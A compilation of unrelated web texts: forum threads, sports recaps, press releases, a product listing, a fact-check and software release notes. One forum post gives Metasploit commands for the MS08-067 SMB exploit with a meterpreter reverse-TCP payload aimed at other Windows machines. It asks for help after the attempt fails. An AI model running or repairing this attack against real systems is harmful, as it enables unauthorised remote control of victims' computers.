Bullying is unwanted, aggressive behavior among school aged children that involves a real or perceived power imbalance. The behavior is repeated, or has the potential to be repeated, over time. Both kids who are bullied and who bully others may have serious, lasting problems. Bullying prevention strategies and resources have been identified to help reduce bullying in our schools.
Prevention Dimensions (PD) is a set of Utah's Safe and Drug-Free Schools and Communities resource lessons which support the Utah State Office of Education (USOE) pre-kindergarten through twelfth grade health core. The program began in 1982 as a joint effort between the Utah State Division of Substance Abuse, Utah State Department of Health, Utah State Office of Education, and Utah State PTA, and has been revised several times since.
School districts are required to offer annual parent seminars on youth protections topics of substance abuse, bullying, mental health, and Internet safety. Resources are available to assist schools and parents.
If you or someone you know is considering suicide, please call 1 (800) 273-TALK (8255) or 911 immediately!
250 East 500 South | PO Box 144200
Salt Lake City, UT | 84114-4200
Monday - Friday | 8 a.m. to 5 p.m.
(801) 538 7500
Copyright © 2009-2016 Utah State Board of Education (USBE)


text:
CallnFallBoy1750 wrote:I use hobo duck calls. The creator of zink calls also makes these. I use the ICU2 Hobo Duck Call. Its a really good call. It gets really low and really high. Makes really good whines and quacks. U really sound like a duck with this call. I won a junior duck callling competition with that call too. Its a great call. Echo and zink also make good calls jst like that too
jaysweet3 wrote:Indaswamp wrote:easy...just manipulate the ruler to make the inch shorter so that 28" reads 30".....
That's how I got a 13" pecker.
The Duck Hammer wrote:This is realy a question about personal preference. Guys will swear up and down that their call is the best and cuss out another call maker. Classic example is RNT vs. Echo. Go to your local sporting goods store and try all of them out.
rabbitdundied wrote: I use my mojos in places I don't want birds to land.
Users browsing this forum: No registered users and 1 guest


text:
Hi, my name is Ashley. I'm from the US and will be graduating w/ my BA in Spanish next Spring. I'm planning on completing a TEFL course in Spain next summer, preferably in Madrid, but I'm having a hard time figuring out what programs will be recognized outside of Spain. I want my certification to count as many places as possible. I'm most interested in teaching English to kids/teens in Latin America eventually… So although CELTA programs seem to be the most recognized worldwide, they focus on teaching adults and that's not my main interest. Does anyone know if that would matter when trying to find a job teaching kids? Or would most places just be glad to have someone with a certificate and a 4 year degree? Also, is Canterbury a good program? I've heard mix things about it.
I'd really appreciate any feed back, even if it's just to direct me to another forum… I'm completely lost and my poor eyes are drying out from reading so many pages, all of which seem to have conflicting views… I just want to make sure any program I complete will be worth my time and money. Thanks!


text:
Phoenix Suffers 4-3 Road Loss at Western Michigan
By: Ryan Hartwig (@GBHartwig)
KALAMAZOO, Mich. (GreenBayPhoenix.com) – The Green Bay men's tennis team (6-4) dropped a 4-3 decision to Western Michigan (6-3) on Friday evening at the West Hills Athletic Club, kicking off a stretch of three matches in a three-day span.
The Phoenix and Broncos split the six singles contests, but the hosts swept the doubles point to start the match, which proved to be the difference maker.
Picking up singles victories for Green Bay were Michael Tenzer (Neuried, Germany), Leopold Gomez Islinger (Weiden, Germany) and Rowan Isaaks (London, England). Tenzer earned a come-from-behind win at the No. 2 spot, beating WMU's Andrew Cahn 5-6, 6-2, 6-4, Gomez Islinger beat Ruben Greiner 6-4, 6-1 at No. 3, and Isaaks also battled to a comeback win at No. 5, beating Michael Treis 1-6, 6-4, 6-2.
The Broncos won all three doubles contests, including two of them in tiebreakers. Green Bay's freshly-ranked (No. 40) duo of Tenzer and Howard Scott (Exeter, England) fell 6-5 (5) at the top spot, while Isaaks and Gomez Islinger dropped a tight 6-5 (4) decision at No. 3.
Green Bay is back in action on Saturday morning in Kalamazoo, taking on IPFW at 9 a.m. The Phoenix then heads to Ohio to take on Toledo on Sunday at noon.
Western Michigan 4, Green Bay 3
No. 1 – Nadin Indre/Stephen Payne (WMU) def. No. 40 Michael Tenzer/Howard Scott (GB) 6-5 (7-5)
No. 2 – Andrew Cahn/Michael Treis (WMU) def. Joey Leto/Michael Tebon (GB) 6-1
No. 3 – Jim Beckwith/Ruben Greiner (WMU) def. Rowan Isaaks/Leopold Gomez Islinger (GB) 6-5 (7-4)
No. 1 – Nadin Indre (WMU) def. Howard Scott (GB) 6-3, 6-4
No. 2 – Michael Tenzer (GB) def. Andrew Cahn (WMU) 5-6, 6-2, 6-4
No. 3 – Leopold Gomez Islinger (GB) def. Ruben Greiner (WMU) 6-4, 6-1
No. 4 – Jim Beckwith (WMU) def. Joey Leto (GB) 6-3, 6-4
No. 5 – Rowan Isaaks (GB) def. Michael Treis (WMU) 1-6, 6-4, 6-2
No. 6 – Pablo Mora (WMU) def. Jorge Gonzalez (GB) 6-2, 3-6, 6-2
For the latest and most up-to-date information on Green Bay Athletics and Green Bay Men's Tennis, please visit GreenBayPhoenix.com.
Follow us on Twitter: @GBPhoenix @GBPhoenixMTEN and @GBHartwig
Like Green Bay Phoenix Athletics and Green Bay Phoenix Men's Tennis on Facebook.


text:
I have internet point and I have 4 computers with 1 xp and 3 with win7 so then copy the ip address i get home where i installed backtrack5. The open msfconsole and write "use windows/smb/ms08_067_netapi" "set PAYLOAD windows/meterpreter/reverse_tcp""set lhost my ip""set rhost ip victim"show targets and and choose sp 3 ita" exploit"
[*] Started reverse handler on 192.168.1.5:4444
[-] Exploit exception: The connection timed out (ip victim:445).[*] Exploit completed, but no session was created.
I did many tests also on another PC I have here in the LAN with win7 but if I remember correctly I always get
[*] Exploit completed, but no session was created.
It would be a very pleasant your help exscuse my english.


text:
*My ticket into the Shirts on Sale Sad Rat Race
Help promote this shirt! For those with overnight delivery, let the rest of the universe.woot know how wonderful this on an actual shirt! Click here and post a picture!
Ehh... not too fond of this one.
um grats Oliver, but I'm gonna have to pass... I don't smoke so it's not appealing to me.
The design doesn't really work for me.
Should have been:
Donuts + Cigarettes + Coffee = Career in Law Enforcement.
I can spell KAUPHY but cant spell cigarettes and get all the letters wrong.
If this shirt is here when I wake up, I'll get one. Im on the fence.
Sometimes I just wonder why? Why are all the heather gray shirts so boring and white? So darn disappointed. Yet to see any good heather gray shirt in the last 3 months. I used to smoke cigarettes, for 4 years. Been tobacco free for 1 1/2 years now. Coffee isn't the best choice for stimulation, and is very acidic. If it were Yerba mate, and herbals then I'd think about it ;)
I'm sorry but this is one of the worst shirts on shirt.woot I've ever seen.
Congrats on the print though.
Oh woot, how I love thee. The item's description is great. Thanks for the midnight laugh.
Not a big fan of coffee and have never smoked a cigarette, so I'll be passing on this one. Goodnight.
I'm pretty much existing on nicotine and caffeine right now, so it's fitting, but I don't like the boob placement. I don't know, I'm having trouble deciding either way.
yeah, maybe if i smoked or enjoyed coffee this would be fun... but i dont.
agreed, worst i've seen
I dont smoke anymore!
What's up Bill Murray?
Would you like to see my Tesla Coil?
Um, no thanks. More like "gaggy."
Sorry, but this is one of the worst shirts I have ever seen on Woot.
A big time pass on this.
[inserts generic anti-tobacco comment]
yeah...what he said.
Cigarettes are disgusting! I'll definitely pass on this one.
poor taste
Ok. I have to have my smokes and coffee, true. Not convinced Joe Camel is as popular on a shirt anymore. Someone please enlighten me on the C8.. and C10.. thing. If it's the letter sub thing I haven't quite figure that out yet either. Must be the effects of nicotine and caffeine on what was my brain. ???
You guys don't know what you're talking about... according to 1955, cigarettes are good for you!
HowardTheDuck wrote:What's up Bill Murray?
Would you like to see my Tesla Coil?
Glad someone else caught on to that reference. That's the first thing I thought
woot - u can do better!
your printers must love this easy 2 color set up
too easy
this shirt is soon to flood local 12 step meetings.
That was a pretty good movie.
I thought this shirt was a fan dedication to the movies Coffee and Cigarettes.
If you like improv comedy and dry humor you will enjoy the movie. The whole thing is on hulu.com
barry1214 wrote:Ok. I have to have my smokes and coffee, true. Not convinced Joe Camel is as popular on a shirt anymore. Someone please enlighten me on the C8.. and C10.. thing. If it's the letter sub thing I haven't quite figure that out yet either. Must be the effects of nicotine and caffeine on what was my brain. ???
Copy + Paste into Google works wonders
hahahahahaha exactly what i was thinking! great shirt, great combo, great movie, n41
Main Entry:
ter·ri·ble Listen to the pronunciation of terrible
\ˈter-ə-bəl, ˈte-rə-\
Middle English, from Middle French, from Latin terribilis, from terrēre to frighten — more at terror
15th century
1 a: exciting extreme alarm or intense fear : terrifying b: formidable in nature : awesome <a terrible responsibility> c: difficult <in a terrible bind>
2: extreme , great <a terrible disappointment>
3: extremely bad: as a: strongly repulsive : obnoxious <a terrible smell> b: notably unattractive or objectionable <terrible behavior> c: of very poor quality <a terrible movie> (webster)
I think that sums it up. Woot, you can do better. I believe in you!
It's a f**king movie reference what is wrong with you retards? Do you only watch the movies that come on abc family?
Everyone here is either way younger than I thought, or a lot dumber.
Either way. Either way's fine.
I love both coffee and cigarettes.. but I do not love this shirt.. bummer woot
2n2is5 wrote:Copy + Paste into Google works wonders
thanks. I should have known that. I guess I need another cup of coffee at 1:15 a.m.
Those are the chemical formulas for caffeine and nicotine. Two of the greatest chemical compounds ever invented! And it's very unlikely that the nicotine gave your relative/friend their lung cancer, so spare me the sob story. It's not tobacco's fault they chose to buy cigarettes laced with chemicals added to enforce the addiction, trick your brain and speed the effects of the nicotine. Smoking natural tobacco through a filter is the only way to smoke!
Edit: And Jon, the FILM (not a movie, but a series of vignettes) is only 5 years old. I'm not sure I understand the reference to people here being 'way younger than you thought.' I'm only 24 and was barely old enough to be interested in the film in 2003.
On a side note, I'd have thought someone so much older would be able to properly punctuate his sentences, but as you said, maybe people here are 'way dumber than I thought.'
Please take your bickering to 4chan.
i like coffee and i like cigarettes, and I kinda like this shirt....but i don't need to spend $10 to prove that I like coffee and cigarettes.
not sure about this one...
If I still smoked, I'd seriously think about it. The coffee addiction is still going strong.
Or if I still hung out at Denny's til 4am. This looks like one of those shirts.
I like this. Negativity can take a hike.
It's great that all the people complaining that no one gets the movie reference aren't saying what movie it's referencing...
View All →


text:
66Cody Sullins
2009 - Games/Starts: 13/13 ... Part of Cottontown duo on offensive front for Vols ... Started season's final 10 games alongside twin brother, Cory ... One of three UT offensive linemen to start all 13 games ... Earned way into starting lineup with stellar fall camp and never relinquished spot ... Helped tailback Montario Hardesty gain 1,345 rushing yards and quarterback Jonathan Crompton throw for 2,800 passing yards ... Named to CoSIDA Academic All-District IV second team ... Matched brother in compiling four straight Academic All-SEC selections.
2008 - Games/Starts: 2/0 ... Saw action as offensive line backup against UAB and Mississippi State ... Vols rushed for a season-high 266 yards and three touchdowns against UAB ... Played as reserve in Vols junior varsity win over Hargrave (Va.) Military Academy ... Matched his brother in compiling three straight Academic All-SEC selections.
2007 - Games/Starts: 3/0 ... Appeared in games against Arkansas State, Georgia and Louisiana-Lafayette ... Second year as regular SEC travel squad member.
2006 - Games/Starts: 0/0 ... Squad member who worked his way onto travel squads for several conference road games.
2005 - Redshirted.
HIGH SCHOOL - Named to Tennessean's 2004 All-Midstate team for offense and defense, as well as Shoney's Prep Scrapbook first team for offense and defense ... Twice selected All-Region and All-County ... Played in Tennessee-Kentucky All-Star Game ... Recorded 116 career tackles and six sacks ... Had 65 tackles (37 solo) as senior, with 4½ sacks and nine tackles for loss ... Also named to Tennessee Baseball Coaches Association All-Midstate Team as junior pitcher.
COACH AT WHITE HOUSE HIGH SCHOOL - Jeff Porter.
BORN - Aug. 21, 1987.
2008 Academic All-SEC
2007 Academic All-SEC
2006 Academic All-SEC


text:
Competition Rising for Premium Industrial Space at Top Seaports
July 7, 2013
While vying for business amid flat cargo volume growth, U.S. seaports also face heated competition for post-Panama Canal expansion market share.
JLL's fifth-annual, Seaport Outlook, ranks the most prominent ports in the U.S., this year identifying the availability of industrial real estate surrounding the ports as one of three top features shared by successful ports. The other two top factors include proximity to population density and improved infrastructure.
"Competition is rising even while trade growth is stagnant," explained Rich Thompson, Managing Director of JLL's Ports Airports and Global Infrastructure (PAGI) group.
"The emergence of marketplace shifts related to multi-channel retail strategies, as well as the soon-to-be completed Panama Canal expansion are changing the positioning for many U.S. ports. To gain market share, ports must both improve infrastructure, connectivity and possess required, Class A distribution center space to support the increasing demands of corporate supply chain strategies."
As the top ports begin serving larger "post-Panamax" ships carrying double the number of containers, sites near to the ports are in great demand, with port-driven markets outperforming other top industrial real estate markets nationwide.
According to the report, there are only eleven available distribution center spaces larger than 500,000 square feet within 15 miles of any major seaport. Furthermore, only 23 blocks are available for warehouse space users in need of at least 250,000 square feet within five miles of a major port.
Tomorrow: an exclusive interview with Thompson on "What defines a top seaport."
About the Author
Subscribe to Supply Chain Management Review magazine
cutting supply chain costs and case studies in supply chain best practices. Start Your Subscription Today!


text:
According to a recent National Council of Architectural Registration Boards survey, 105,312 is the number of licensed architects working in the United States—or at least should be working. More on that in a moment. A larger figure is this country's current resident population, about 311 million. By the time you read the final sentence of this piece—even if you skim—the number of Americans will have increased by a thousand or so.
Do the math: It comes out to about .0003 architects for every American. That's not even counting clients in the expanding markets of China, India, and the Middle East. If you believe the major issues of the 21st century—health, security, transportation, productivity, sustainability—are design matters (and I do), then the law of supply and demand would suggest firms of every size are being swamped by work. This should be a golden age for America's architects.
Yet many architects struggle just to stay afloat. So much for the so-called laws of economics. As bad as this economy is for us who are licensed, we should be worrying about the next generation of professionals: the bright young men and women just out of school and the students entering college who are looking at their options for fulfilling and rewarding careers. They are the future of our profession; they're the ones tackling design matters like health, aging, and how our nation uses energy.
Our first and highest priority has to be getting architects back to work. The second and third priorities are the same. To get us to that better place, two broad strategies suggest themselves. The first is to increase an appreciation and understanding of the value of our profession's core competency—design. The members and staff of AIA components in every part of the country are creatively leveraging their tight resources to get the story of our profession to the public, most conspicuously with exhibitions, architects in the schools, awards programs, and public service.
As we move through this year and beyond, AIA members will discover how the partnership with Hanley Wood advances this strategy, guided now by the Institute's new executive vice president, Robert Ivy, FAIA. In this position, he will strengthen the voice and influence of the AIA on those issues shaping the profession. A second strategy is to work aggressively and creatively at every level of government to get this economy moving again.
Have the results of the recent election forced the AIA to scrap its legislative agenda? Not at all. Because restoring small business as the engine of our nation's economy, returning economic vitality to our communities, and improving America's energy independence is a program for getting this country back to work, it easily negotiates both sides of the legislative aisle.
Often the person we're talking to is on the same side of what might seem to be a deep ideological divide. Take sustainability. I had a client who did not believe in climate change—no way, case closed. That would seem to be a non-starter for any hope of designing a green building. Yet by reframing the issue as a matter of controlling the cost of energy, that client was immediately on board.
This is just one skirmish of the larger campaign to shape a better world for our children. The reality is that we will not in our lifetime—certainly not in mine—have the number of licensed architects commensurate with the needs of a growing population. However, by advocating legislation that has as its goal the rebuilding of this nation's economy and, by elevating the public's understanding that design matters, that it reflects our values and shapes the very fabric of our lives, we can improve the odds. Much is at stake. Not just the future health of our profession, but the future of our communities.
Join our conversation at go.hw.net/aiaperspective.


text:
Plan and shop
Choose a spot that you can reach with your hose and gets at least six hours of sun a day. Sketch a plan, taking into account how large everything will be when fully grown—don't jam the plants too close together—or follow our layout for a 4- by 8-foot bed, below. Then go buy your seedlings and enough bagged compost to spread a 6-inch-deep layer—we used 16 cubic feet.
Around The Web


text:
ATABOY :-D how do you keep that beesuit so clean :lol: thumbs up 8-) RDY-B
jp,s wife keeps his bee suit white but mine will put frames togther faster than i can :-Dshe did 90 in 2 days without much effort!bailey
Do you keep the bees you capture from swarms and how do you know they are not AHB's?
JP, ooooh, I think that you experienced the law of attraction with that video. Have a wonderful and great day, love this life. Cindi


text:
Discussion in 'April 2012' started by roscoe36, Apr 6, 2012.
7:00 PM EST TV: FS Detroit / NBA league Pass Radio: 97.1 The Ticket
Of course detroit will win.
I can't bring myself to pick the Bobcraps. This one will be a free-throw contest between Stuckey & Corey Maggette.
At our worst...we started out 4-20. Bobcats are 4-21 at home.......... They're on an 11 game losing streak. They're due......... Bobcats by 5................
With the quirky scheduling, this will be the seventh straight Piston game against a team from the Southeast division. They won the first three vs the Bobcats, Magic and Wizards and then lost the last three to the Hawks, Heat and Magic. This is the SE division rubber game...the difference is the first three games were at home and the last four on the road....
Bigger than a breadbox, that's for sure.
NBA - Where Amazing Happens.
These guys have lost 13 in a row........ They have the opportunity to become the most futile team in NBA history. It is up to the Pistons to save them from this dilemma... With Charlotte at home, this may be their only opportunity. Even Rascoe will cheer for them tonight...
I bet I'll be sleeping by the 3rd quarter.
The Bobcats aren't tanking. They just really suck.
Those who can't dance, blame it on the music.
Wow. No Maggette. Maxiell and Moose going bonkers. Knight throwing dimes everywhere.
92-62 at the end of 3.....I am not sure if feel more sorry my team when it is down by 30 or when the other team is. I actually feel sorry for the looks on the bobcat faces.
Losing what will be 14 straight games after this one, most by blowout margins will do that to a team. Sadly for them, the Bobcats are just the team that can cure all that ails you atm. The Piston kids look happy though, and that's always good to see.
I only saw the last 3 mins of the third quarter and then most of the 4th. I could not tell if the Bobcats were really tanking or they just weren't that good. Pistons most decisive third quarter of the season decade. I did see a lot air balls in those last 5 minutes of the 4th which explains why Villanueva was a -12 and Daye and Walker were -10.....and also explains why a 36 point Piston lead got down to 24 point win.
Up 30+ points on a cellar dweller in a means nothing game and Macklin doesn't get in the game? That's the only reason I tuned in.
^Macklin was inactive. I do wish we'd put Charlie 'I play no D and chuck 3s proudly' Villanueva on the IL instead though. He's like the complete opposite type of player from the sort Frank wants.
This whole Macklin-free zone that the Pistons have going is really starting to bother me. WHY play Charles Garbage instead of the rook? You already know what you have with Villanueava and it doesn't smell very good. If Vern was walking into Joe's office each day and peeing on his desk, he'd STILL deserve to get 20-25 minutes of run each game during the the final games of a lost season like this.
Separate names with a comma.


text:
This entry was posted
on Friday, October 10th, 2014 at 10:56 pm and is filed under .
You can follow any responses to this entry through the RSS 2.0 feed.
You can leave a response, or trackback from your own site.
Name (required)
E-mail (will not be published but is required)
Website (optional)
© | UC Davis Health System | UC Davis Medical Center | UC Davis School of Medicine | Betty Irene Moore School of Nursing


text:
Microsoft Virtual Academy
Get 50% off eBooks plus
40% off print books at
The Microsoft Press Store
You are not signed in yet. Join now to get cool features, including:
Would you like us to sign you back in? If you click No, you will be signed out from the site and will lose any unsaved progress.


text:
Note: This item is more than nine years old. Please take the publication date into consideration for any date references.
Print – Plain Text – Permalink
News Release
Media Contact: TPWD News, firstname.lastname@example.com, 512-389-8030
Nov. 19, 2007
Spanish Hunter Education Course Offered in Central Texas
AUSTIN, Texas — The Texas Parks and Wildlife Department is offering a hunter education course in Spanish designed for hunters of all ages on Dec. 15-16 at Cabela's in Buda. The course will not only benefit current hunters who speak Spanish, but for Spanish-speakers considering the activity for the first time, it's a good way to learn more.
"The class offers information on ethics, responsibility, firearms and safety and reinforces the game laws which may be difficult to understand," said Texas Parks and Wildlife Department's Hunter Education Coordinator Terry Erwin.
Classes in Spanish have been offered statewide over the last 15 years; however they're usually more prevalent in the southern areas of Texas. "Normally we're limited because we don't have many Spanish instructors," said Erwin.
Hunter education covers the skills, regulations and responsibilities of hunting, wildlife conservation and the outdoors and is mandatory for every hunter, including out-of-state hunters, born on or after Sept. 2, 1971. The minimum age of certification is 12 years.
Every year, more than 30,000 youth and adults in Texas become certified in hunter education, and the certification not only lasts a lifetime, but is also recognized by all states and provinces that require hunter education.
"We'd love to have anyone in the central Texas area to come in and take the course," said Erwin. "The course will be taught completely in Spanish, complete with manuals and exams in Spanish as well."
To register for the course, please call the Texas Parks and Wildlife Department at (512) 389-4999. Additional information may be found on the TPWD Web site.
On the Net:
Publication — Permission is granted to publish, in whole or in part, any news releases on this page.
Print — A print-friendly version of the news release shows only the release with font sizes set to the browser default.
Plain Text — Plain text versions of TPWD news releases are provided for copying and pasting into editing software.
To copy text into an editing software:
- Click a Plain Text link to display the plain text page in your browser.
- Select all.
- Copy.
- Paste in a document in your editing program.
Permalink — This is a direct link to the news release, omitting the navigation context from the URI.
English/Spanish — News releases posted in both English and Spanish have one of these links.
If you have any suggestions for improving these pages, send an e-mail to firstname.lastname@example.com and mention Plain Text Pages.
(5.1.6 i)


text:
Product Reference: 41835
3D Bluge design helps to protect every part of your handset
The unique 3D Bulge Design of the BLADEdge allows it to protect each and every part of your iPhone. Not only does it protect the edges of your phone, the 3D Bulge Design also prevents the screen of your iPhone to enter into contact with any surface you might put your phone on.
Matte coating to improve grip
The matte coating improves grip, so your iPhone 5S / 5 feels better in the hand without feeling noticeably bulkier.
Ultra-thin for convenient portability
Designed to add minimal bulk to your iPhone 5S / 5, you will hardly notice the presence of the BLADEdge on your device.
Unique plastic injection process combines thinness with strength
The plastic injection technology used to create this case is unique in that it is able to make such a thin case without sacrificing structural integrity or material strength. Your iPhone 5S / 5 will be just as well protected in this case as it is in a standard cover, meaning your phone will stay looking newer for longer as it's protected against scratches and scrapes.
Bumper features designed with the iPhone 5S / 5 in mind
The bumper feature of this case protects the corners and edges of your iPhone, the parts where the device is most vulnerable. However the bumper feature allows for your chosen colour of iPhone 5S / 5 shell to show through, so you can benefit from a multitude of colour from your device.
Made for iPhone 5S / 5
Designed specifically for the iPhone 5S / 5, this case offers a perfect fit for your device. It also has cut-outs for all the ports and buttons, so you can access the full functionality of the phone while it is in the case.


text:
Fox & Friends wrongly blames Obama for terror suspect's release order
A March 23 Fox & Friends segment falsely suggested that a recent court ruling reportedly ordering the release of Guantánamo Bay detainee Mohamedou Ould Slahi is the result of President Obama's decision to try some Guantánamo detainees in civilian court rather than military tribunals. In fact, the Obama administration has not charged Slahi in civilian or military court, and the Bush administration failed to try Slahi in a military commission after the prosecutor determined that the evidence against him was obtained through torture.
Fox & Friends falsely suggests court order is result of Obama policies
Berntsen: "This is why you need to make sure that we're doing this in military tribunals, not in civilian courts." Gary Berntsen, a former CIA operative, stated of Judge James Robertson's order, "[Slahi is] a self-admitted member of Al Qaeda that has declared war on the United States. This is why you need to make sure that we're doing this in military tribunals, not in civilian courts. We need to treat these guys like members of a foreign entity that's declared war on us. He's declared war on us." [Fox News' Fox & Friends, 3/23/10]
Scheuer: "Obama is just going to get more Americans killed if he keeps doing this nonsense." Michael Scheuer, a former CIA analyst and frequent [1] Fox [2] News [3] guest [4], stated: "Gary is exactly right. These folks are warriors. They're prisoners of war. We should just treat them as such, and then we can release them when we say the war is over. Obama is just going to get more Americans killed if he keeps doing this nonsense." [Fox & Friends, 3/23/10]
Kilmeade: "[I]f he's in a military tribunal, this doesn't happen." Fox & Friends co-host Brian Kilmeade stated, "It's incredible, because they asked permission to the CIA interrogators to go ahead and use enhanced interrogation practices. Now the judge says that's too much." Kilmeade later added, "Now, if he's in a military tribunal, this doesn't happen." [Fox & Friends, 3/23/10]
Prosecutor under Bush halted Slahi military tribunal because he said torture invalidated the evidence, and Slahi has not been charged in civilian court
Bush Pentagon lawyer refused to prosecute Slahi in a military commission because evidence was obtained through torture. The Wall Street Journal reported [5] on March 31, 2007, that Lt. Col. V. Stuart Couch, who was tasked with prosecuting Slahi during the Bush administration, "refused to proceed with the Slahi prosecution" after "[h]e concluded that Mr. Slahi's incriminating statements -- the core of the government's case -- had been taken through torture, rendering them inadmissible under U.S. and international law." The Journal reported that "Col. Couch began his assignment at the Office of Military Commissions in August 2003," and Slahi's case was one of the first files "he was handed" to work on. The Journal reported that during the course of his investigation into the case, Couch uncovered "evidence the prisoner had been beaten and exposed to psychological torture, including death threats and intimations that his mother would be raped in custody unless he cooperated." The article further stated: "Col. Couch says he's still frustrated that the actions of the U.S. government helped ruin the case against Mr. Slahi. 'I'm hoping there's some non-tainted evidence out there that can put the guy in the hole,' he says."
Couch said court order is "consequence" of torture policy. The Wall Street Journal further reported [6] on March 22 that Couch "said Monday's order 'is one of the consequences that the decision-makers should have foreseen when they decided to adopt a policy of cruelty, and the interrogation techniques that flowed from it' ":
Plans to try him by military commission were derailed after prosecutors learned that Mr. Slahi had been subjected to a "special interrogation plan" involving weeks of physical and mental torment, including a death threat and a threat to bring Mr. Slahi's mother to Guantánamo Bay where she could be gang-raped, officials said.
Although the treatment apparently induced Mr. Slahi's compliance, the military prosecutor, Marine Lt. Col. V. Stuart Couch, determined that it constituted torture and evidence it produced could not lawfully be used against Mr. Slahi.
Col. Couch, in a March 31, 2007, Page One story in The Wall Street Journal, cited legal, professional and moral reasons for declining to prosecute.
Mr. Slahi, who was then viewed as a cooperator by interrogators, was granted various privileges at Guantánamo Bay, including his own quarters and garden to tend.
Col. Couch, now in private practice in North Carolina, said Monday's order "is one of the consequences that the decision-makers should have foreseen when they decided to adopt a policy of cruelty, and the interrogation techniques that flowed from it."
Obama has not charged Slahi in civilian court. Contrary to the suggestion that the habeas corpus petition resulted from Obama's decision to try terror suspects in civilian court, The Miami Herald noted [7] that "Slahi faces no criminal charges." The Miami Herald further reported that Slahi has been held at Guantánamo since August 2002 and filed for habeas corpus on March 3, 2005.
Supreme Court, not Obama policy, determined detainees have right to challenge detentions in U.S. courts
Supreme Court ruled in 2004 that Gitmo detainees can challenge their detention in U.S. courts. In the 2004 case Rasul v. Bush, the Supreme Court rejected [8] the Bush administration's argument that, under the law as it existed at the time, Bush could order people to be detained at Guantánamo Bay without the ability to challenge the terms of their detention in federal court. The Supreme Court ruled 6-3 that "the federal courts have jurisdiction to determine the legality of the Executive's potentially indefinite detention of individuals who claim to be wholly innocent of wrongdoing."
Supreme Court ruled in 2008 that Gitmo detainees have "the constitutional privilege of habeas corpus." In 2008, the Supreme Court again reversed administration policies regarding Guantánamo Bay detainees in Boumediene v. Bush [9]. The Court held that the procedures set up by the Bush administration under the Detainee Treatment Act of 2005 to review Guantánamo detainees' status "are not an adequate and effective substitute for habeas corpus." The Court therefore rejected the Bush administration's argument that the habeas corpus petitions should be dismissed under the Military Commissions Act, which stated that "[n]o court, justice, or judge shall have jurisdiction to hear or consider an application for a writ of habeas corpus filed by or on behalf of an alien detained by the United States who has been determined by the United States to have been properly detained as an enemy combatant or is awaiting such determination." The Court stated, "Petitioners present a question not resolved by our earlier cases relating to the detention of aliens at Guantanamo: whether they have the constitutional privilege of habeas corpus, a privilege not to be withdrawn except in conformance with the Suspension Clause, Art. I, §9, cl. 2. We hold these petitioners do have the habeas corpus privilege."
Slahi is 34th detainee ordered freed by federal judges. According to ProPublica [10], 32 detainees have been "found to be unlawfully imprisoned" by federal courts during the Bush and Obama administrations, and 11 of the 32 "remain in indefinite detention." The Miami Herald reported [7] on March 22 that "Slahi is the 34th Guantánamo detainee ordered freed since the U.S. Supreme Court ruled detainees could challenge their incarceration in federal court." The Miami Herald further noted that "Justice Department spokesman Dean Boyd said lawyers were 'reviewing the ruling.' The government has appealed some of the habeas release orders."
- Posted In
- Justice & Civil Liberties [11], Interrogation [12], National Security & Foreign Policy [13], Terrorism [14]
- Network/Outlet
- Fox News Channel [15]
- Person
- Brian Kilmeade [16], Michael Scheuer [17], Gary Berntsen [18]
- Show/Publication
- FOX & Friends [19]


text:
* Graphics performance and compatibility enhancements.
* Ubuntu 11.10 is officially supported as a guest operating system.
* Disk and memory management issues have been addressed.
* Many customer-reported issues have been resolved.
# Resolved Issues
* Windows 7 guest installation failed after powering on the virtual machine with the error A required CD/DVD drive device driver is missing. If you have a driver floppy disk, CD, DVD, or USB flash drive, please insert it now.
* VMware Tools failed with the message VMware Tools unrecoverable error.
* VMware Tools failed to start in Fedora 15 guests.
* An Ubuntu 11.10 guest crashed with a signal 11 error if you installed or upgraded VMware Tools.
* On hosts with Nvidia GeForce and Quadro video cards, some of the clouds in the Unigine Heaven Benchmark application were drawn solid black.
* Easy Install did not properly function on Ubuntu 11.10.
* CD/DVD mount Linux.iso failed while installing VMware Tools in Ubuntu 11.10 guests.
* The AltGr key was not working in an Ubuntu guest in Unity mode when the host and guest keyboards were both set to a layout that contained the AltGr key.


text:
Cleveland Marathon to support Boston victims
(Cleveland) - In the aftermath of the Boston Marathon tragedy on April 15, race directors across the country saw an outpouring of compassion and support from runners who want to help and support Boston during their run in upcoming marathons.
Now Rite Aid Cleveland Marathon runners can help as well!
Race directors from the DICK'S Sporting Goods Pittsburgh Marathon, the Cincinnati Flying Pig Marathon and the Rite Aid Cleveland Marathon – all events held in May – have joined forces to provide an opportunity for their participants to show support of the Boston Marathon through donations to the One Fund Boston (www.onefundboston.org).
One Fund Boston was announced April 17 by Mass. Governor Deval Patrick and Boston Mayor Menino, the purpose of which is to raise money to help those families most affected by the tragic events that unfolded during the Boston Marathon.
Each race will purchase and make available at their event blue wristbands inscribed with "Boston Strong". Participants can "purchase" the bands for whatever amount they would like to give as a donation to One Fund Boston. All of the money will be sent directly to One Fund Boston at the conclusion of each respective race weekend.
"Many of our participants have been looking for ways to not only give money to support Boston, but also to wear something during their race to show their support for the victims and the city," said Jack Staph, Rite Aid Cleveland Marathon executive director. "This bracelet will allow them to do both, and we're glad to work with Cincinnati and Pittsburgh on this fundraiser."
All of the races will hold a moment of silence at the start line on race day.
The Rite Aid Cleveland Marathon will be held Sunday, May 19 and information is available at www.clevelandmarathon.com.
Get breaking news sent to your mobile phone. Text "news" to 21095.
(Copyright © 2013 by Clear Channel, all rights reserved. Photo by Ken Robinson/WTAM 1100.)


text:
Six Maricopa Community Colleges have been recognized by the Aspen Institute as being among the nation's 150 top community colleges. Phoenix College and Estrella Mountain, GateWay, Paradise Valley, Scottsdale, and South Mountain Community Colleges can compete for the 2015 Aspen Prize for Community College Excellence and $1 million dollars in prize funds.
The award, given every two years, recognizes institutions for exceptional student outcomes in student learning, certificate and degree completion, employment and earnings, and high levels of access and success for minority and low-income students. A full list of the
150 community colleges selected from more than 1,000 nationwide is available at www.aspenprize.org; winners will be announced in early 2015.
"We are honored to have been recognized by the Aspen Institute," said Maricopa Community Colleges Chancellor Rufus Glasper. "As a system, we are among the largest in the nation. As such, we are a major supplier of students transferring to the state's public universities, and the largest workforce trainer in the state of Arizona. We are working hard to continue improving our outcomes and this honor is indicative of our students' and faculty's success."
"Community colleges have tremendous power to change lives, and their success will increasingly define our nation's economic strength and the potential for social mobility for every American," said Josh Wyner, executive director of the Aspen Institute College Excellence Program. "This competition is designed to spotlight the excellent work being done in the most effective community colleges, those that best help students obtain meaningful, high-quality education and training for competitive-wage jobs after college. We hope it will raise the bar and provide a roadmap for community colleges nationwide."


text:
Previous Lecture
Complete and continue
QMC Group Coaching Membership
Start Here
This is How QMC Works
How to Stay Anonymous on QMC
